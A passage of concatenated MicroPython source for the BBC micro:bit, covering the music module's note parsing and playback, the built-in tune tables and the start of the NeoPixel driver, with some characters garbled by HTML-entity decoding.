MP_OBJ_NEW_QSTR(MP_QSTR_accelerometer), (mp_obj_t)µbit_accelerometer_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_compass), (mp_obj_t)µbit_compass_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_i2c), (mp_obj_t)µbit_i2c_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_uart), (mp_obj_t)µbit_uart_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_spi), (mp_obj_t)µbit_spi_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)µbit_reset_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_sleep), (mp_obj_t)µbit_sleep_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_running_time), (mp_obj_t)µbit_running_time_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_panic), (mp_obj_t)µbit_panic_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_temperature), (mp_obj_t)µbit_temperature_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin0), (mp_obj_t)µbit_p0_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin1), (mp_obj_t)µbit_p1_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin2), (mp_obj_t)µbit_p2_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin3), (mp_obj_t)µbit_p3_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin4), (mp_obj_t)µbit_p4_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin5), (mp_obj_t)µbit_p5_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin6), (mp_obj_t)µbit_p6_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin7), (mp_obj_t)µbit_p7_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin8), (mp_obj_t)µbit_p8_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin9), (mp_obj_t)µbit_p9_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin10), (mp_obj_t)µbit_p10_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin11), (mp_obj_t)µbit_p11_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin12), (mp_obj_t)µbit_p12_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin13), (mp_obj_t)µbit_p13_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin14), (mp_obj_t)µbit_p14_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin15), (mp_obj_t)µbit_p15_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin16), (mp_obj_t)µbit_p16_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin19), (mp_obj_t)µbit_p19_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pin20), (mp_obj_t)µbit_p20_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_module_globals, microbit_module_globals_table); const mp_obj_module_t microbit_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)µbit_module_globals, }; } ================================================ FILE: micropython/source/microbit/modmusic.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include "py/runtime.h" #include "py/objstr.h" #include "py/mphal.h" #include "lib/ticker.h" #include "lib/pwm.h" #include "microbit/modmicrobit.h" #include "microbit/modmusic.h" #define DEFAULT_BPM 120 #define DEFAULT_TICKS 4 // i.e. 4 ticks per beat #define DEFAULT_OCTAVE 4 // C4 is middle C #define DEFAULT_DURATION 4 // Crotchet #define ARTICULATION_MS 10 // articulation between notes in milliseconds typedef struct _music_data_t { uint16_t bpm; uint16_t ticks; // store these to simplify the writing process uint8_t last_octave; uint8_t last_duration; // Asynchronous parts. volatile uint8_t async_state; bool async_loop; uint32_t async_wait_ticks; uint16_t async_notes_len; uint16_t async_notes_index; const microbit_pin_obj_t *async_pin; mp_obj_t async_note; } music_data_t; enum { ASYNC_MUSIC_STATE_IDLE, ASYNC_MUSIC_STATE_NEXT_NOTE, ASYNC_MUSIC_STATE_ARTICULATE, }; #define music_data MP_STATE_PORT(music_data) STATIC uint32_t start_note(const char *note_str, size_t note_len, const microbit_pin_obj_t *pin); void microbit_music_tick(void) { if (music_data == NULL) { // music module not yet imported return; } if (music_data->async_state == ASYNC_MUSIC_STATE_IDLE) { // nothing to do return; } if (ticker_ticks_ms < music_data->async_wait_ticks) { // need to wait for timeout to expire return; } if (music_data->async_state == ASYNC_MUSIC_STATE_ARTICULATE) { // turn off output and rest pwm_set_duty_cycle(music_data->async_pin->name, 0); music_data->async_wait_ticks = ticker_ticks_ms + ARTICULATION_MS; music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE; } else if (music_data->async_state == ASYNC_MUSIC_STATE_NEXT_NOTE) { // play next note if (music_data->async_notes_index >= music_data->async_notes_len) { if (music_data->async_loop) { music_data->async_notes_index = 0; } else { music_data->async_state = ASYNC_MUSIC_STATE_IDLE; microbit_obj_pin_free(music_data->async_pin); music_data->async_pin = NULL; return; } } mp_obj_t note; if (music_data->async_notes_len == 1) { note = music_data->async_note; } else { note = ((mp_obj_t*)music_data->async_note)[music_data->async_notes_index]; } if (note == mp_const_none) { // a rest (is this even used anymore?) pwm_set_duty_cycle(music_data->async_pin->name, 0); music_data->async_wait_ticks = 60000 / music_data->bpm; music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE; } else { // a note mp_uint_t note_len; const char *note_str = mp_obj_str_get_data(note, ¬e_len); uint32_t delay_on = start_note(note_str, note_len, music_data->async_pin); music_data->async_wait_ticks = ticker_ticks_ms + delay_on; music_data->async_notes_index += 1; music_data->async_state = ASYNC_MUSIC_STATE_ARTICULATE; } } } STATIC void wait_async_music_idle(void) { // wait for the async music state to become idle while (music_data->async_state != ASYNC_MUSIC_STATE_IDLE) { // allow CTRL-C to stop the music if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { music_data->async_state = ASYNC_MUSIC_STATE_IDLE; pwm_set_duty_cycle(music_data->async_pin->name, 0); break; } } } STATIC uint32_t start_note(const char *note_str, size_t note_len, const microbit_pin_obj_t *pin) { pwm_set_duty_cycle(pin->name, 128); // [NOTE](#|b)(octave)(:length) // technically, c4 is middle c, so we'll go with that... // if we define A as 0 and G as 7, then we can use the following // array of us periods // these are the periods of note4 (the octave ascending from middle c) from A->B then C->G STATIC uint16_t periods_us[] = {2273, 2025, 3822, 3405, 3034, 2863, 2551}; // A#, -, C#, D#, -, F#, G# STATIC uint16_t periods_sharps_us[] = {2145, 0, 3608, 3214, 0, 2703, 2408}; // we'll represent the note as an integer (A=0, G=6) // TODO: validate the note uint8_t note_index = (note_str[0] & 0x1f) - 1; // TODO: the duration and bpm should be persistent between notes uint32_t ms_per_tick = (60000 / music_data->bpm) / music_data->ticks; int8_t octave = 0; bool sharp = false; size_t current_position = 1; // parse sharp or flat if (current_position < note_len && (note_str[current_position] == '#' || note_str[current_position] == 'b')) { if (note_str[current_position] == 'b') { // make sure we handle wrapping round gracefully if (note_index == 0) { note_index = 6; } else { note_index--; } // handle the unusual edge case of Cb if (note_index == 1) { octave--; } } sharp = true; current_position++; } // parse the octave if (current_position < note_len && note_str[current_position] != ':') { // currently this will only work with a one digit number // use +=, since the sharp/flat code changes octave to compensate. music_data->last_octave = (note_str[current_position] & 0xf); current_position++; } octave += music_data->last_octave; // parse the duration if (current_position < note_len && note_str[current_position] == ':') { // I'll make this handle up to two digits for the time being. current_position++; if (current_position < note_len) { music_data->last_duration = note_str[current_position] & 0xf; current_position++; if (current_position < note_len) { music_data->last_duration *= 10; music_data->last_duration += note_str[current_position] & 0xf; } } else { // technically, this should be a syntax error, since this means // that no duration has been specified. For the time being, // we'll let you off :D } } // play the note! // make the octave relative to octave 4 octave -= 4; // 18 is 'r' or 'R' if (note_index < 10) { uint32_t period; if (sharp) { if (octave >= 0) { period = periods_sharps_us[note_index] >> octave; } else { period = periods_sharps_us[note_index] << -octave; } } else { if (octave >= 0) { period = periods_us[note_index] >> octave; } else { period = periods_us[note_index] << -octave; } } pwm_set_period_us(period); } else { pwm_set_duty_cycle(pin->name, 0); } // Cut off a short time from end of note so we hear articulation. mp_int_t gap_ms = (ms_per_tick * music_data->last_duration) - ARTICULATION_MS; if (gap_ms < ARTICULATION_MS) { gap_ms = ARTICULATION_MS; } return gap_ms; } STATIC mp_obj_t microbit_music_reset(void) { music_data->bpm = DEFAULT_BPM; music_data->ticks = DEFAULT_TICKS; music_data->last_octave = DEFAULT_OCTAVE; music_data->last_duration = DEFAULT_DURATION; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(microbit_music_reset_obj, microbit_music_reset); STATIC mp_obj_t microbit_music_get_tempo(void) { mp_obj_t tempo_tuple[2]; tempo_tuple[0] = mp_obj_new_int(music_data->bpm); tempo_tuple[1] = mp_obj_new_int(music_data->ticks); return mp_obj_new_tuple(2, tempo_tuple); } MP_DEFINE_CONST_FUN_OBJ_0(microbit_music_get_tempo_obj, microbit_music_get_tempo); STATIC mp_obj_t microbit_music_stop(mp_uint_t n_args, const mp_obj_t *args) { const microbit_pin_obj_t *pin; if (n_args == 0) { pin = µbit_p0_obj; } else { pin = microbit_obj_get_pin(args[0]); } // Raise exception if the pin we are trying to stop is not in a compatible mode. microbit_obj_pin_acquire(pin, microbit_pin_mode_music); pwm_set_duty_cycle(pin->name, 0); microbit_obj_pin_free(pin); music_data->async_pin = NULL; music_data->async_state = ASYNC_MUSIC_STATE_IDLE; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_music_stop_obj, 0, 1, microbit_music_stop); STATIC mp_obj_t microbit_music_play(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_music, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} }, { MP_QSTR_pin, MP_ARG_OBJ, {.u_obj = (mp_obj_t)µbit_p0_obj} }, { MP_QSTR_wait, MP_ARG_BOOL, {.u_bool = true} }, { MP_QSTR_loop, MP_ARG_BOOL, {.u_bool = false} }, }; // parse args mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); // reset octave and duration so tunes always play the same music_data->last_octave = DEFAULT_OCTAVE; music_data->last_duration = DEFAULT_DURATION; // get either a single note or a list of notes mp_uint_t len; mp_obj_t *items; if (MP_OBJ_IS_STR_OR_BYTES(args[0].u_obj)) { len = 1; items = &args[0].u_obj; } else { mp_obj_get_array(args[0].u_obj, &len, &items); } // Release the previous pin microbit_obj_pin_free(music_data->async_pin); music_data->async_pin = NULL; // get the pin to play on const microbit_pin_obj_t *pin = microbit_obj_get_pin(args[1].u_obj); microbit_obj_pin_acquire(pin, microbit_pin_mode_music); // start the tune running in the background music_data->async_state = ASYNC_MUSIC_STATE_IDLE; music_data->async_wait_ticks = ticker_ticks_ms; music_data->async_loop = args[3].u_bool; music_data->async_notes_len = len; music_data->async_notes_index = 0; if (len == 1) { // If a string was passed as a single note then we can't store a pointer // to args[0].u_obj, so instead store the single string directly (also // works if a tuple/list of one element was passed). music_data->async_note = items[0]; } else { music_data->async_note = items; } music_data->async_pin = pin; music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE; if (args[2].u_bool) { // wait for tune to finish wait_async_music_idle(); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_play_obj, 0, microbit_music_play); STATIC mp_obj_t microbit_music_pitch(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_frequency, MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_duration, MP_ARG_INT, {.u_int = -1} }, { MP_QSTR_pin, MP_ARG_OBJ, {.u_obj = (mp_obj_t)µbit_p0_obj} }, { MP_QSTR_wait, MP_ARG_BOOL, {.u_bool = true} }, }; // parse args mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); // get the parameters mp_uint_t frequency = args[0].u_int; mp_int_t duration = args[1].u_int; const microbit_pin_obj_t *pin = microbit_obj_get_pin(args[2].u_obj); // Update pin modes microbit_obj_pin_free(music_data->async_pin); music_data->async_pin = NULL; microbit_obj_pin_acquire(pin, microbit_pin_mode_music); bool wait = args[3].u_bool; pwm_set_duty_cycle(pin->name, 128); if (frequency == 0) { pwm_release(pin->name); } else if (pwm_set_period_us(1000000/frequency)) { pwm_release(pin->name); mp_raise_ValueError("invalid pitch"); } if (duration >= 0) { // use async machinery to stop the pitch after the duration music_data->async_state = ASYNC_MUSIC_STATE_IDLE; music_data->async_wait_ticks = ticker_ticks_ms + duration; music_data->async_loop = false; music_data->async_notes_len = 0; music_data->async_notes_index = 0; music_data->async_note = NULL; music_data->async_pin = pin; music_data->async_state = ASYNC_MUSIC_STATE_ARTICULATE; if (wait) { // wait for the pitch to finish wait_async_music_idle(); } } else { // don't block here, since there's no reason to leave a pitch forever in a blocking C function } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_pitch_obj, 0, microbit_music_pitch); STATIC mp_obj_t microbit_music_set_tempo(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_ticks, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_bpm, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 0} }, }; mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); if (args[0].u_int != 0) { // set ticks music_data->ticks = args[0].u_int; } if (args[1].u_int != 0) { music_data->bpm = args[1].u_int; } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_set_tempo_obj, 0, microbit_music_set_tempo); static mp_obj_t music_init(void) { music_data = m_new_obj(music_data_t); music_data->bpm = DEFAULT_BPM; music_data->ticks = DEFAULT_TICKS; music_data->last_octave = DEFAULT_OCTAVE; music_data->last_duration = DEFAULT_DURATION; music_data->async_state = ASYNC_MUSIC_STATE_IDLE; music_data->async_pin = NULL; music_data->async_note = NULL; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(music___init___obj, music_init); STATIC const mp_map_elem_t microbit_music_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_music) }, { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&music___init___obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)µbit_music_reset_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_tempo), (mp_obj_t)µbit_music_set_tempo_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_tempo), (mp_obj_t)µbit_music_get_tempo_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_play), (mp_obj_t)µbit_music_play_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pitch), (mp_obj_t)µbit_music_pitch_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_stop), (mp_obj_t)µbit_music_stop_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_DADADADUM), (mp_obj_t)µbit_music_tune_dadadadum_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ENTERTAINER), (mp_obj_t)µbit_music_tune_entertainer_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_PRELUDE), (mp_obj_t)µbit_music_tune_prelude_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ODE), (mp_obj_t)µbit_music_tune_ode_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_NYAN), (mp_obj_t)µbit_music_tune_nyan_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_RINGTONE), (mp_obj_t)µbit_music_tune_ringtone_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_FUNK), (mp_obj_t)µbit_music_tune_funk_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_BLUES), (mp_obj_t)µbit_music_tune_blues_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_BIRTHDAY), (mp_obj_t)µbit_music_tune_birthday_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_WEDDING), (mp_obj_t)µbit_music_tune_wedding_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_FUNERAL), (mp_obj_t)µbit_music_tune_funeral_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_PUNCHLINE), (mp_obj_t)µbit_music_tune_punchline_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_PYTHON), (mp_obj_t)µbit_music_tune_python_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_BADDY), (mp_obj_t)µbit_music_tune_baddy_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_CHASE), (mp_obj_t)µbit_music_tune_chase_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_BA_DING), (mp_obj_t)µbit_music_tune_ba_ding_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_WAWAWAWAA), (mp_obj_t)µbit_music_tune_wawawawaa_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_JUMP_UP), (mp_obj_t)µbit_music_tune_jump_up_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_JUMP_DOWN), (mp_obj_t)µbit_music_tune_jump_down_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_POWER_UP), (mp_obj_t)µbit_music_tune_power_up_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_POWER_DOWN), (mp_obj_t)µbit_music_tune_power_down_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_music_locals_dict, microbit_music_locals_dict_table); const mp_obj_module_t music_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)µbit_music_locals_dict, }; } ================================================ FILE: micropython/source/microbit/modmusictunes.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The music encoded herein is either in the public domain, composed by * Nicholas H.Tollervey or the composer is untraceable and covered by fair * (educational) use. * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * Copyright (c) 2015 Nicholas H. Tollervey * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/objtuple.h" #include "microbit/modmicrobit.h" #define N(q) MP_OBJ_NEW_QSTR(MP_QSTR_ ## q) #define T(name, ...) const mp_obj_tuple_t microbit_music_tune_ ## name ## _obj = {{&mp_type_tuple}, .len = (sizeof((mp_obj_t[]){__VA_ARGS__})/sizeof(mp_obj_t)), .items = {__VA_ARGS__}}; T(dadadadum, N(r4_colon_2), N(g), N(g), N(g), N(eb_colon_8), N(r_colon_2), N(f), N(f), N(f), N(d_colon_8)); T(entertainer, N(d4_colon_1), N(d_hash_), N(e), N(c5_colon_2), N(e4_colon_1), N(c5_colon_2), N(e4_colon_1), N(c5_colon_3), N(c_colon_1), N(d), N(d_hash_), N(e), N(c), N(d), N(e_colon_2), N(b4_colon_1), N(d5_colon_2), N(c_colon_4)); T(prelude, N(c4_colon_1), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e), N(c4), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e), N(c4), N(d), N(g), N(d5), N(f), N(g4), N(d5), N(f), N(c4), N(d), N(g), N(d5), N(f), N(g4), N(d5), N(f), N(b3), N(d4), N(g), N(d5), N(f), N(g4), N(d5), N(f), N(b3), N(d4), N(g), N(d5), N(f), N(g4), N(d5), N(f), N(c4), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e), N(c4), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e)); T(ode, N(e4), N(e), N(f), N(g), N(g), N(f), N(e), N(d), N(c), N(c), N(d), N(e), N(e_colon_6), N(d_colon_2), N(d_colon_8), N(e_colon_4), N(e), N(f), N(g), N(g), N(f), N(e), N(d), N(c), N(c), N(d), N(e), N(d_colon_6), N(c_colon_2), N(c_colon_8)); T(nyan, N(f_hash_5_colon_2), N(g_hash_), N(c_hash__colon_1), N(d_hash__colon_2), N(b4_colon_1), N(d5_colon_1), N(c_hash_), N(b4_colon_2), N(b), N(c_hash_5), N(d), N(d_colon_1), N(c_hash_), N(b4_colon_1), N(c_hash_5_colon_1), N(d_hash_), N(f_hash_), N(g_hash_), N(d_hash_), N(f_hash_), N(c_hash_), N(d), N(b4), N(c_hash_5), N(b4), N(d_hash_5_colon_2), N(f_hash_), N(g_hash__colon_1), N(d_hash_), N(f_hash_), N(c_hash_), N(d_hash_), N(b4), N(d5), N(d_hash_), N(d), N(c_hash_), N(b4), N(c_hash_5), N(d_colon_2), N(b4_colon_1), N(c_hash_5), N(d_hash_), N(f_hash_), N(c_hash_), N(d), N(c_hash_), N(b4), N(c_hash_5_colon_2), N(b4), N(c_hash_5), N(b4), N(f_hash__colon_1), N(g_hash_), N(b_colon_2), N(f_hash__colon_1), N(g_hash_), N(b), N(c_hash_5), N(d_hash_), N(b4), N(e5), N(d_hash_), N(e), N(f_hash_), N(b4_colon_2), N(b), N(f_hash__colon_1), N(g_hash_), N(b), N(f_hash_), N(e5), N(d_hash_), N(c_hash_), N(b4), N(f_hash_), N(d_hash_), N(e), N(f_hash_), N(b_colon_2), N(f_hash__colon_1), N(g_hash_), N(b_colon_2), N(f_hash__colon_1), N(g_hash_), N(b), N(b), N(c_hash_5), N(d_hash_), N(b4), N(f_hash_), N(g_hash_), N(f_hash_), N(b_colon_2), N(b_colon_1), N(a_hash_), N(b), N(f_hash_), N(g_hash_), N(b), N(e5), N(d_hash_), N(e), N(f_hash_), N(b4_colon_2), N(c_hash_5)); T(ringtone, N(c4_colon_1), N(d), N(e_colon_2), N(g), N(d_colon_1), N(e), N(f_colon_2), N(a), N(e_colon_1), N(f), N(g_colon_2), N(b), N(c5_colon_4)); T(funk, N(c2_colon_2), N(c), N(d_hash_), N(c_colon_1), N(f_colon_2), N(c_colon_1), N(f_colon_2), N(f_hash_), N(g), N(c), N(c), N(g), N(c_colon_1), N(f_hash__colon_2), N(c_colon_1), N(f_hash__colon_2), N(f), N(d_hash_)); T(blues, N(c2_colon_2), N(e), N(g), N(a), N(a_hash_), N(a), N(g), N(e), N(c2_colon_2), N(e), N(g), N(a), N(a_hash_), N(a), N(g), N(e), N(f), N(a), N(c3), N(d), N(d_hash_), N(d), N(c), N(a2), N(c2_colon_2), N(e), N(g), N(a), N(a_hash_), N(a), N(g), N(e), N(g), N(b), N(d3), N(f), N(f2), N(a), N(c3), N(d_hash_), N(c2_colon_2), N(e), N(g), N(e), N(g), N(f), N(e), N(d)); T(birthday, N(c4_colon_3), N(c_colon_1), N(d_colon_4), N(c_colon_4), N(f), N(e_colon_8), N(c_colon_3), N(c_colon_1), N(d_colon_4), N(c_colon_4), N(g), N(f_colon_8), N(c_colon_3), N(c_colon_1), N(c5_colon_4), N(a4), N(f), N(e), N(d), N(a_hash__colon_3), N(a_hash__colon_1), N(a_colon_4), N(f), N(g), N(f_colon_8)); T(wedding, N(c4_colon_4), N(f_colon_3), N(f_colon_1), N(f_colon_8), N(c_colon_4), N(g_colon_3), N(e_colon_1), N(f_colon_8), N(c_colon_4), N(f_colon_3), N(a_colon_1), N(c5_colon_4), N(a4_colon_3), N(f_colon_1), N(f_colon_4), N(e_colon_3), N(f_colon_1), N(g_colon_8)); T(funeral, N(c3_colon_4), N(c_colon_3), N(c_colon_1), N(c_colon_4), N(d_hash__colon_3), N(d_colon_1), N(d_colon_3), N(c_colon_1), N(c_colon_3), N(b2_colon_1), N(c3_colon_4)); T(punchline, N(c4_colon_3), N(g3_colon_1), N(f_hash_), N(g), N(g_hash__colon_3), N(g), N(r), N(b), N(c4)); T(python, N(d5_colon_1), N(b4), N(r), N(b), N(b), N(a_hash_), N(b), N(g5), N(r), N(d), N(d), N(r), N(b4), N(c5), N(r), N(c), N(c), N(r), N(d), N(e_colon_5), N(c_colon_1), N(a4), N(r), N(a), N(a), N(g_hash_), N(a), N(f_hash_5), N(r), N(e), N(e), N(r), N(c), N(b4), N(r), N(b), N(b), N(r), N(c5), N(d_colon_5), N(d_colon_1), N(b4), N(r), N(b), N(b), N(a_hash_), N(b), N(b5), N(r), N(g), N(g), N(r), N(d), N(c_hash_), N(r), N(a), N(a), N(r), N(a), N(a_colon_5), N(g_colon_1), N(f_hash__colon_2), N(a_colon_1), N(a), N(g_hash_), N(a), N(e_colon_2), N(a_colon_1), N(a), N(g_hash_), N(a), N(d), N(r), N(c_hash_), N(d), N(r), N(c_hash_), N(d_colon_2), N(r_colon_3)); T(baddy, N(c3_colon_3), N(r), N(d_colon_2), N(d_hash_), N(r), N(c), N(r), N(f_hash__colon_8), ); T(chase, N(a4_colon_1), N(b), N(c5), N(b4), N(a_colon_2), N(r), N(a_colon_1), N(b), N(c5), N(b4), N(a_colon_2), N(r), N(a_colon_2), N(e5), N(d_hash_), N(e), N(f), N(e), N(d_hash_), N(e), N(b4_colon_1), N(c5), N(d), N(c), N(b4_colon_2), N(r), N(b_colon_1), N(c5), N(d), N(c), N(b4_colon_2), N(r), N(b_colon_2), N(e5), N(d_hash_), N(e), N(f), N(e), N(d_hash_), N(e), ); T(ba_ding, N(b5_colon_1), N(e6_colon_3), ); T(wawawawaa, N(e3_colon_3), N(r_colon_1), N(d_hash__colon_3), N(r_colon_1), N(d_colon_4), N(r_colon_1), N(c_hash__colon_8), ); T(jump_up, N(c5_colon_1), N(d), N(e), N(f), N(g), ); T(jump_down, N(g5_colon_1), N(f), N(e), N(d), N(c), ); T(power_up, N(g4_colon_1), N(c5), N(e), N(g_colon_2), N(e_colon_1), N(g_colon_3), ); T(power_down, N(g5_colon_1), N(d_hash_), N(c), N(g4_colon_2), N(b_colon_1), N(c5_colon_3), ); #undef N #undef T ================================================ FILE: micropython/source/microbit/modneopixel.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include #include #include "gpio_api.h" #include "nrf_gpio.h" #include "py/runtime0.h" #include "py/runtime.h" #include "microbit/modmicrobit.h" // This is the pixel colour ordering #define COL_NUM_COMPONENTS (3) #define COL_IDX_RED (1) #define COL_IDX_GREEN (0) #define COL_IDX_BLUE (2) // This is implemented in assembler to get the right timing extern void sendNeopixelBuffer(uint32_t pin, uint8_t* data_address, uint16_t num_leds); extern const mp_obj_type_t neopixel_type; typedef struct _neopixel_obj_t { mp_obj_base_t base; uint16_t pin_num; uint16_t num_pixels; uint8_t data[]; } neopixel_obj_t; STATIC 